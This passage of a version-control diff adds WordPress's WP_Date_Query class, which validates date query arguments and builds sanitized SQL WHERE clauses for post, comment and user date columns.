+	 *         @type string $compare  Optional. The comparison operator. Accepts '=', '!=', '>', '>=', '<', '<=',
+	 *                                'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. Default '='.
+	 *         @type string $relation Optional. The boolean relationship between the date queries. Accepts 'OR' or 'AND'.
+	 *                                Default 'OR'.
+	 *         @type array {
+	 *             Optional. An array of first-order clause parameters, or another fully-formed date query.
+	 *
+	 *             @type string|array $before {
+	 *                 Optional. Date to retrieve posts before. Accepts `strtotime()`-compatible string,
+	 *                 or array of 'year', 'month', 'day' values.
+	 *
+	 *                 @type string $year  The four-digit year. Default empty. Accepts any four-digit year.
+	 *                 @type string $month Optional when passing array.The month of the year.
+	 *                                     Default (string:empty)|(array:1). Accepts numbers 1-12.
+	 *                 @type string $day   Optional when passing array.The day of the month.
+	 *                                     Default (string:empty)|(array:1). Accepts numbers 1-31.
+	 *             }
+	 *             @type string|array $after {
+	 *                 Optional. Date to retrieve posts after. Accepts `strtotime()`-compatible string,
+	 *                 or array of 'year', 'month', 'day' values.
+	 *
+	 *                 @type string $year  The four-digit year. Accepts any four-digit year. Default empty.
+	 *                 @type string $month Optional when passing array. The month of the year. Accepts numbers 1-12.
+	 *                                     Default (string:empty)|(array:12).
+	 *                 @type string $day   Optional when passing array.The day of the month. Accepts numbers 1-31.
+	 *                                     Default (string:empty)|(array:last day of month).
+	 *             }
+	 *             @type string       $column        Optional. Used to add a clause comparing a column other than the
+	 *                                               column specified in the top-level `$column` parameter. Accepts
+	 *                                               'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt',
+	 *                                               'comment_date', 'comment_date_gmt'. Default is the value of
+	 *                                               top-level `$column`.
+	 *             @type string       $compare       Optional. The comparison operator. Accepts '=', '!=', '>', '>=',
+	 *                                               '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. 'IN',
+	 *                                               'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Comparisons support
+	 *                                               arrays in some time-related parameters. Default '='.
+	 *             @type bool         $inclusive     Optional. Include results from dates specified in 'before' or
+	 *                                               'after'. Default false.
+	 *             @type int|array    $year          Optional. The four-digit year number. Accepts any four-digit year
+	 *                                               or an array of years if `$compare` supports it. Default empty.
+	 *             @type int|array    $month         Optional. The two-digit month number. Accepts numbers 1-12 or an
+	 *                                               array of valid numbers if `$compare` supports it. Default empty.
+	 *             @type int|array    $week          Optional. The week number of the year. Accepts numbers 0-53 or an
+	 *                                               array of valid numbers if `$compare` supports it. Default empty.
+	 *             @type int|array    $dayofyear     Optional. The day number of the year. Accepts numbers 1-366 or an
+	 *                                               array of valid numbers if `$compare` supports it.
+	 *             @type int|array    $day           Optional. The day of the month. Accepts numbers 1-31 or an array
+	 *                                               of valid numbers if `$compare` supports it. Default empty.
+	 *             @type int|array    $dayofweek     Optional. The day number of the week. Accepts numbers 1-7 (1 is
+	 *                                               Sunday) or an array of valid numbers if `$compare` supports it.
+	 *                                               Default empty.
+	 *             @type int|array    $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7
+	 *                                               (1 is Monday) or an array of valid numbers if `$compare` supports it.
+	 *                                               Default empty.
+	 *             @type int|array    $hour          Optional. The hour of the day. Accepts numbers 0-23 or an array
+	 *                                               of valid numbers if `$compare` supports it. Default empty.
+	 *             @type int|array    $minute        Optional. The minute of the hour. Accepts numbers 0-60 or an array
+	 *                                               of valid numbers if `$compare` supports it. Default empty.
+	 *             @type int|array    $second        Optional. The second of the minute. Accepts numbers 0-60 or an
+	 *                                               array of valid numbers if `$compare` supports it. Default empty.
+	 *         }
+	 *     }
+	 * }
+	 * @param array $default_column Optional. Default column to query against. Default 'post_date'.
+	 *                              Accepts 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt',
+	 *                              'comment_date', 'comment_date_gmt'.
+	 */
+	public function __construct( $date_query, $default_column = 'post_date' ) {
+		if ( isset( $date_query['relation'] ) ) {
+			$this->relation = $this->sanitize_relation( $date_query['relation'] );
+		} else {
+			$this->relation = 'AND';
+		}
+
+		if ( ! is_array( $date_query ) ) {
+			return;
+		}
+
+		// Support for passing time-based keys in the top level of the $date_query array.
+		if ( ! isset( $date_query[0] ) && ! empty( $date_query ) ) {
+			$date_query = array( $date_query );
+		}
+
+		if ( empty( $date_query ) ) {
+			return;
+		}
+
+		if ( ! empty( $date_query['column'] ) ) {
+			$date_query['column'] = esc_sql( $date_query['column'] );
+		} else {
+			$date_query['column'] = esc_sql( $default_column );
+		}
+
+		$this->column = $this->validate_column( $this->column );
+
+		$this->compare = $this->get_compare( $date_query );
+
+		$this->queries = $this->sanitize_query( $date_query );
+	}
+
+	/**
+	 * Recursive-friendly query sanitizer.
+	 *
+	 * Ensures that each query-level clause has a 'relation' key, and that
+	 * each first-order clause contains all the necessary keys from
+	 * `$defaults`.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $queries
+	 * @param array $parent_query
+	 *
+	 * @return array Sanitized queries.
+	 */
+	public function sanitize_query( $queries, $parent_query = null ) {
+		$cleaned_query = array();
+
+		$defaults = array(
+			'column'   => 'post_date',
+			'compare'  => '=',
+			'relation' => 'AND',
+		);
+
+		// Numeric keys should always have array values.
+		foreach ( $queries as $qkey => $qvalue ) {
+			if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) {
+				unset( $queries[ $qkey ] );
+			}
+		}
+
+		// Each query should have a value for each default key. Inherit from the parent when possible.
+		foreach ( $defaults as $dkey => $dvalue ) {
+			if ( isset( $queries[ $dkey ] ) ) {
+				continue;
+			}
+
+			if ( isset( $parent_query[ $dkey ] ) ) {
+				$queries[ $dkey ] = $parent_query[ $dkey ];
+			} else {
+				$queries[ $dkey ] = $dvalue;
+			}
+		}
+
+		// Validate the dates passed in the query.
+		if ( $this->is_first_order_clause( $queries ) ) {
+			$this->validate_date_values( $queries );
+		}
+
+		// Sanitize the relation parameter.
+		$queries['relation'] = $this->sanitize_relation( $queries['relation'] );
+
+		foreach ( $queries as $key => $q ) {
+			if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) {
+				// This is a first-order query. Trust the values and sanitize when building SQL.
+				$cleaned_query[ $key ] = $q;
+			} else {
+				// Any array without a time key is another query, so we recurse.
+				$cleaned_query[] = $this->sanitize_query( $q, $queries );
+			}
+		}
+
+		return $cleaned_query;
+	}
+
+	/**
+	 * Determine whether this is a first-order clause.
+	 *
+	 * Checks to see if the current clause has any time-related keys.
+	 * If so, it's first-order.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param  array $query Query clause.
+	 * @return bool True if this is a first-order clause.
+	 */
+	protected function is_first_order_clause( $query ) {
+		$time_keys = array_intersect( $this->time_keys, array_keys( $query ) );
+		return ! empty( $time_keys );
+	}
+
+	/**
+	 * Determines and validates what comparison operator to use.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $query A date query or a date subquery.
+	 * @return string The comparison operator.
+	 */
+	public function get_compare( $query ) {
+		if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) )
+			return strtoupper( $query['compare'] );
+
+		return $this->compare;
+	}
+
+	/**
+	 * Validates the given date_query values and triggers errors if something is not valid.
+	 *
+	 * Note that date queries with invalid date ranges are allowed to
+	 * continue (though of course no items will be found for impossible dates).
+	 * This method only generates debug notices for these cases.
+	 *
+	 * @since  4.1.0
+	 *
+	 * @param  array $date_query The date_query array.
+	 * @return bool  True if all values in the query are valid, false if one or more fail.
+	 */
+	public function validate_date_values( $date_query = array() ) {
+		if ( empty( $date_query ) ) {
+			return false;
+		}
+
+		$valid = true;
+
+		/*
+		 * Validate 'before' and 'after' up front, then let the
+		 * validation routine continue to be sure that all invalid
+		 * values generate errors too.
+		 */
+		if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ){
+			$valid = $this->validate_date_values( $date_query['before'] );
+		}
+
+		if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ){
+			$valid = $this->validate_date_values( $date_query['after'] );
+		}
+
+		// Array containing all min-max checks.
+		$min_max_checks = array();
+
+		// Days per year.
+		if ( array_key_exists( 'year', $date_query ) ) {
+			/*
+			 * If a year exists in the date query, we can use it to get the days.
+			 * If multiple years are provided (as in a BETWEEN), use the first one.
+			 */
+			if ( is_array( $date_query['year'] ) ) {
+				$_year = reset( $date_query['year'] );
+			} else {
+				$_year = $date_query['year'];
+			}
+
+			$max_days_of_year = date( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1;
+		} else {
+			// otherwise we use the max of 366 (leap-year)
+			$max_days_of_year = 366;
+		}
+
+		$min_max_checks['dayofyear'] = array(
+			'min' => 1,
+			'max' => $max_days_of_year
+		);
+
+		// Days per week.
+		$min_max_checks['dayofweek'] = array(
+			'min' => 1,
+			'max' => 7
+		);
+
+		// Days per week.
+		$min_max_checks['dayofweek_iso'] = array(
+			'min' => 1,
+			'max' => 7
+		);
+
+		// Months per year.
+		$min_max_checks['month'] = array(
+			'min' => 1,
+			'max' => 12
+		);
+
+		// Weeks per year.
+		if ( isset( $_year ) ) {
+			/*
+			 * If we have a specific year, use it to calculate number of weeks.
+			 * Note: the number of weeks in a year is the date in which Dec 28 appears.
+			 */
+			$week_count = date( 'W', mktime( 0, 0, 0, 12, 28, $_year ) );
+
+		} else {
+			// Otherwise set the week-count to a maximum of 53.
+			$week_count = 53;
+		}
+
+		$min_max_checks['week'] = array(
+			'min' => 1,
+			'max' => $week_count
+		);
+
+		// Days per month.
+		$min_max_checks['day'] = array(
+			'min' => 1,
+			'max' => 31
+		);
+
+		// Hours per day.
+		$min_max_checks['hour'] = array(
+			'min' => 0,
+			'max' => 23
+		);
+
+		// Minutes per hour.
+		$min_max_checks['minute'] = array(
+			'min' => 0,
+			'max' => 59
+		);
+
+		// Seconds per minute.
+		$min_max_checks['second'] = array(
+			'min' => 0,
+			'max' => 59
+		);
+
+		// Concatenate and throw a notice for each invalid value.
+		foreach ( $min_max_checks as $key => $check ) {
+			if ( ! array_key_exists( $key, $date_query ) ) {
+				continue;
+			}
+
+			// Throw a notice for each failing value.
+			foreach ( (array) $date_query[ $key ] as $_value ) {
+				$is_between = $_value >= $check['min'] && $_value <= $check['max'];
+
+				if ( ! is_numeric( $_value ) || ! $is_between ) {
+					$error = sprintf(
+						/* translators: Date query invalid date message: 1: invalid value, 2: type of value, 3: minimum valid value, 4: maximum valid value */
+						__( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ),
+						'<code>' . esc_html( $_value ) . '</code>',
+						'<code>' . esc_html( $key ) . '</code>',
+						'<code>' . esc_html( $check['min'] ) . '</code>',
+						'<code>' . esc_html( $check['max'] ) . '</code>'
+					);
+
+					_doing_it_wrong( __CLASS__, $error, '4.1.0' );
+
+					$valid = false;
+				}
+			}
+		}
+
+		// If we already have invalid date messages, don't bother running through checkdate().
+		if ( ! $valid ) {
+			return $valid;
+		}
+
+		$day_month_year_error_msg = '';
+
+		$day_exists   = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] );
+		$month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] );
+		$year_exists  = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] );
+
+		if ( $day_exists && $month_exists && $year_exists ) {
+			// 1. Checking day, month, year combination.
+			if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) {
+				/* translators: 1: year, 2: month, 3: day of month */
+				$day_month_year_error_msg = sprintf(
+					__( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ),
+					'<code>' . esc_html( $date_query['year'] ) . '</code>',
+					'<code>' . esc_html( $date_query['month'] ) . '</code>',
+					'<code>' . esc_html( $date_query['day'] ) . '</code>'
+				);
+
+				$valid = false;
+			}
+
+		} elseif ( $day_exists && $month_exists ) {
+			/*
+			 * 2. checking day, month combination
+			 * We use 2012 because, as a leap year, it's the most permissive.
+			 */
+			if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) {
+				/* translators: 1: month, 2: day of month */
+				$day_month_year_error_msg = sprintf(
+					__( 'The following values do not describe a valid date: month %1$s, day %2$s.' ),
+					'<code>' . esc_html( $date_query['month'] ) . '</code>',
+					'<code>' . esc_html( $date_query['day'] ) . '</code>'
+				);
+
+				$valid = false;
+			}
+		}
+
+		if ( ! empty( $day_month_year_error_msg ) ) {
+			_doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' );
+		}
+
+		return $valid;
+	}
+
+	/**
+	 * Validates a column name parameter.
+	 *
+	 * Column names without a table prefix (like 'post_date') are checked against a whitelist of
+	 * known tables, and then, if found, have a table prefix (such as 'wp_posts.') prepended.
+	 * Prefixed column names (such as 'wp_posts.post_date') bypass this whitelist check,
+	 * and are only sanitized to remove illegal characters.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $column The user-supplied column name.
+	 * @return string A validated column name value.
+	 */
+	public function validate_column( $column ) {
+		global $wpdb;
+
+		$valid_columns = array(
+			'post_date', 'post_date_gmt', 'post_modified',
+			'post_modified_gmt', 'comment_date', 'comment_date_gmt',
+			'user_registered', 'registered', 'last_updated',
+		);
+
+		// Attempt to detect a table prefix.
+		if ( false === strpos( $column, '.' ) ) {
+			/**
+			 * Filters the list of valid date query columns.
+			 *
+			 * @since 3.7.0
+			 * @since 4.1.0 Added 'user_registered' to the default recognized columns.
+			 *
+			 * @param array $valid_columns An array of valid date query columns. Defaults
+			 *                             are 'post_date', 'post_date_gmt', 'post_modified',
+			 *                             'post_modified_gmt', 'comment_date', 'comment_date_gmt',
+			 *	                           'user_registered'
+			 */
+			if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ) ) ) {
+				$column = 'post_date';
+			}
+
+			$known_columns = array(
+				$wpdb->posts => array(
+					'post_date',
+					'post_date_gmt',
+					'post_modified',
+					'post_modified_gmt',
+				),
+				$wpdb->comments => array(
+					'comment_date',
+					'comment_date_gmt',
+				),
+				$wpdb->users => array(
+					'user_registered',
+				),
+				$wpdb->blogs => array(
+					'registered',
+					'last_updated',
+				),
+			);
+
+			// If it's a known column name, add the appropriate table prefix.
+			foreach ( $known_columns as $table_name => $table_columns ) {
+				if ( in_array( $column, $table_columns ) ) {
+					$column = $table_name . '.' . $column;
+					break;
+				}
+			}
+
+		}
+
+		// Remove unsafe characters.
+		return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column );
+	}
+
+	/**
+	 * Generate WHERE clause to be appended to a main query.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @return string MySQL WHERE clause.
+	 */
+	public function get_sql() {
+		$sql = $this->get_sql_clauses();
+
+		$where = $sql['where'];
+
+		/**
+		 * Filters the date query WHERE clause.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param string        $where WHERE clause of the date query.
+		 * @param WP_Date_Query $this  The WP_Date_Query instance.
+		 */
+		return apply_filters( 'get_date_sql', $where, $this );
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public WP_Date_Query::get_sql(), this method is abstracted
+	 * out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		$sql = $this->get_sql_for_query( $this->queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $query Query to parse.
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( $query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => $clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} elseif ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} elseif ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Turns a single date clause into pieces for a WHERE clause.
+	 *
+	 * A wrapper for get_sql_for_clause(), included here for backward
+	 * compatibility while retaining the naming convention across Query classes.
+	 *
+	 * @since  3.7.0
+	 *
+	 * @param  array $query Date query arguments.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_subquery( $query ) {
+		return $this->get_sql_for_clause( $query, '' );
+	}
+
+	/**
+	 * Turns a first-order date query into SQL for a WHERE clause.
+	 *
+	 * @since  4.1.0
+	 *
+	 * @param  array $query        Date query clause.
+	 * @param  array $parent_query Parent query of the current date query.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_clause( $query, $parent_query ) {
+		global $wpdb;
+
+		// The sub-parts of a $where part.
+		$where_parts = array();
+
+		$column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column;
+
+		$column = $this->validate_column( $column );
+
+		$compare = $this->get_compare( $query );
+
+		$inclusive = ! empty( $query['inclusive'] );
+
+		// Assign greater- and less-than values.
+		$lt = '<';
+		$gt = '>';
+
+		if ( $inclusive ) {
+			$lt .= '=';
+			$gt .= '=';
+		}
+
+		// Range queries.
+		if ( ! empty( $query['after'] ) ) {
+			$where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) );
+		}
+		if ( ! empty( $query['before'] ) ) {
+			$where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) );
+		}
+		// Specific value queries.
+
+		if ( isset( $query['year'] ) && $value = $this->build_value( $compare, $query['year'] ) )
+			$where_parts[] = "YEAR( $column ) $compare $value";
+
+		if ( isset( $query['month'] ) && $value = $this->build_value( $compare, $query['month'] ) ) {
+			$where_parts[] = "MONTH( $column ) $compare $value";
+		} elseif ( isset( $query['monthnum'] ) && $value = $this->build_value( $compare, $query['monthnum'] ) ) {
+			$where_parts[] = "MONTH( $column ) $compare $value";
+		}
+		if ( isset( $query['week'] ) && false !== ( $value = $this->build_value( $compare, $query['week'] ) ) ) {
+			$where_parts[] = _wp_mysql_week( $column ) . " $compare $value";
+		} elseif ( isset( $query['w'] ) && false !== ( $value = $this->build_value( $compare, $query['w'] ) ) ) {
+			$where_parts[] = _wp_mysql_week( $column ) . " $compare $value";
+		}
+		if ( isset( $query['dayofyear'] ) && $value = $this->build_value( $compare, $query['dayofyear'] ) )
+			$where_parts[] = "DAYOFYEAR( $column ) $compare $value";
+
+		if ( isset( $query['day'] ) && $value = $this->build_value( $compare, $query['day'] ) )
+			$where_parts[] = "DAYOFMONTH( $column ) $compare $value";
+
+		if ( isset( $query['dayofweek'] ) && $value = $this->build_value( $compare, $query['dayofweek'] ) )
+			$where_parts[] = "DAYOFWEEK( $column ) $compare $value";
+
+		if ( isset( $query['dayofweek_iso'] ) && $value = $this->build_value( $compare, $query['dayofweek_iso'] ) )
+			$where_parts[] = "WEEKDAY( $column ) + 1 $compare $value";
+
+		if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) {
+			// Avoid notices.
+			foreach ( array( 'hour', 'minute', 'second' ) as $unit ) {
+				if ( ! isset( $query[ $unit ] ) ) {
+					$query[ $unit ] = null;
+				}
+			}
+
+			if ( $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] ) ) {
+				$where_parts[] = $time_query;
+			}
+		}
+
+		/*
+		 * Return an array of 'join' and 'where' for compatibility
+		 * with other query classes.
+		 */
+		return array(
+			'where' => $where_parts,
+			'join'  => array(),
+		);
+	}
+
+	/**
+	 * Builds and validates a value string based on the comparison operator.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $compare The compare operator to use
+	 * @param string|array $value The value
+	 * @return string|false|int The value to be used in SQL or false on error.
+	 */
+	public function build_value( $compare, $value ) {
+		if ( ! isset( $value ) )
+			return false;
+
+		switch ( $compare ) {
+			case 'IN':
+			case 'NOT IN':
+				$value = (array) $value;
+
+				// Remove non-numeric values.
+				$value = array_filter( $value, 'is_numeric' );
+
+				if ( empty( $value ) ) {
+					return false;
+				}
+
+				return '(' . implode( ',', array_map( 'intval', $value ) ) . ')';
+
+			case 'BETWEEN':
+			case 'NOT BETWEEN':
+				if ( ! is_array( $value ) || 2 != count( $value ) ) {
+					$value = array( $value, $value );
+				} else {
+					$value = array_values( $value );
+				}
+
+				// If either value is non-numeric, bail.
+				foreach ( $value as $v ) {
+					if ( ! is_numeric( $v ) ) {
+						return false;
+					}
+				}
+
+				$value = array_map( 'intval', $value );
+
+				return $value[0] . ' AND ' . $value[1];
+
+			default:
+				if ( ! is_numeric( $value ) ) {
+					return false;
+				}
+
+				return (int) $value;
+		}
+	}
+
+	/**
+	 * Builds a MySQL format date/time based on some query parameters.
+	 *
+	 * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to
+	 * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can
+	 * pass a string that will be run through strtotime().
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string|array $datetime       An array of parameters or a strotime() string
+	 * @param bool         $default_to_max Whether to round up incomplete dates. Supported by values
+	 *                                     of $datetime that are arrays, or string values that are a
+	 *                                     subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i').
+	 *                                     Default: false.
+	 * @return string|false A MySQL format date/time or false on failure
+	 */
+	public function build_mysql_datetime( $datetime, $default_to_max = false ) {
+		$now = current_time( 'timestamp' );
+
+		if ( ! is_array( $datetime ) ) {
+
+			/*
+			 * Try to parse some common date formats, so we can detect
+			 * the level of precision and support the 'inclusive' parameter.
+			 */
+			if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) {
+				// Y
+				$datetime = array(
+					'year' => intval( $matches[1] ),
+				);
+
+			} elseif ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m
+				$datetime = array(
+					'year'  => intval( $matches[1] ),
+					'month' => intval( $matches[2] ),
+				);
+
+			} elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m-d
+				$datetime = array(
+					'year'  => intval( $matches[1] ),
+					'month' => intval( $matches[2] ),
+					'day'   => intval( $matches[3] ),
+				);
+
+			} elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) {
+				// Y-m-d H:i
+				$datetime = array(
+					'year'   => intval( $matches[1] ),
+					'month'  => intval( $matches[2] ),
+					'day'    => intval( $matches[3] ),
+					'hour'   => intval( $matches[4] ),
+					'minute' => intval( $matches[5] ),
+				);
+			}
+
+			// If no match is found, we don't support default_to_max.
+			if ( ! is_array( $datetime ) ) {
+				// @todo Timezone issues here possibly
+				return gmdate( 'Y-m-d H:i:s', strtotime( $datetime, $now ) );
+			}
+		}
+
+		$datetime = array_map( 'absint', $datetime );
+
+		if ( ! isset( $datetime['year'] ) )
+			$datetime['year'] = gmdate( 'Y', $now );
+
+		if ( ! isset( $datetime['month'] ) )
+			$datetime['month'] = ( $default_to_max ) ? 12 : 1;
+
+		if ( ! isset( $datetime['day'] ) )
+			$datetime['day'] = ( $default_to_max ) ? (int) date( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1;
+
+		if ( ! isset( $datetime['hour'] ) )
+			$datetime['hour'] = ( $default_to_max ) ? 23 : 0;
+
+		if ( ! isset( $datetime['minute'] ) )
+			$datetime['minute'] = ( $default_to_max ) ? 59 : 0;
+
+		if ( ! isset( $datetime['second'] ) )
+			$datetime['second'] = ( $default_to_max ) ? 59 : 0;
+
+		return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] );
+	}
+
+	/**
+	 * Builds a query string for comparing time values (hour, minute, second).
+	 *
+	 * If just hour, minute, or second is set than a normal comparison will be done.
+	 * However if multiple values are passed, a pseudo-decimal time will be created
+	 * in order to be able to accurately compare against.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $column The column to query against. Needs to be pre-validated!
+	 * @param string $compare The comparison operator. Needs to be pre-validated!
+	 * @param int|null $hour Optional. An hour value (0-23).
+	 * @param int|null $minute Optional. A minute value (0-59).
+	 * @param int|null $second Optional. A second value (0-59).
+	 * @return string|false A query part or false on failure.
+	 */
+	public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) {
+		global $wpdb;
+
+		// Have to have at least one
+		if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) )
+			return false;
+
+		// Complex combined queries aren't supported for multi-value queries
+		if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
+			$return = array();
+
+			if ( isset( $hour ) && false !== ( $value = $this->build_value( $compare, $hour ) ) )
+				$return[] = "HOUR( $column ) $compare $value";
+
+			if ( isset( $minute ) && false !== ( $value = $this->build_value( $compare, $minute ) ) )
+				$return[] = "MINUTE( $column ) $compare $value";
+
+			if ( isset( $second ) && false !== ( $value = $this->build_value( $compare, $second ) ) )
+				$return[] = "SECOND( $column ) $compare $value";
+
+			return implode( ' AND ', $return );
+		}
+
+		// Cases where just one unit is set
+		if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) && false !== ( $value = $this->build_value( $compare, $hour ) ) ) {
+			return "HOUR( $column ) $compare $value";
+		} elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) && false !== ( $value = $this->build_value( $compare, $minute ) ) ) {
+			return "MINUTE( $column ) $compare $value";
+		} elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) && false !== ( $value = $this->build_value( $compare, $second ) ) ) {
+			return "SECOND( $column ) $compare $value";
+		}
+
+		// Single units were already handled. Since hour & second isn't allowed, minute must to be set.
+		if ( ! isset( $minute ) )
+			return false;
+
+		$format = $time = '';
+
+		// Hour
+		if ( null !== $hour ) {
+			$format .= '%H.';
+			$time   .= sprintf( '%02d', $hour ) . '.';
+		} else {
+			$format .= '0.';
+			$time   .= '0.';
+		}
+
+		// Minute
+		$format .= '%i';
+		$time   .= sprintf( '%02d', $minute );
+
+		if ( isset( $second ) ) {
+			$format .= '%s';
+			$time   .= sprintf( '%02d', $second );
+		}
+
+		return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time );
+	}
+
+	/**
+	 * Sanitizes a 'relation' operator.
+	 *
+	 * @since 6.0.3
+	 *
+	 * @param string $relation Raw relation key from the query argument.
+	 * @return string Sanitized relation ('AND' or 'OR').
+	 */
+	public function sanitize_relation( $relation ) {
+		if ( 'OR' === strtoupper( $relation ) ) {
+			return 'OR';
+		} else {
+			return 'AND';
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/default-constants.php
===================================================================
--- /tags/5.0.20/src/wp-includes/default-constants.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/default-constants.php	(revision 56912)
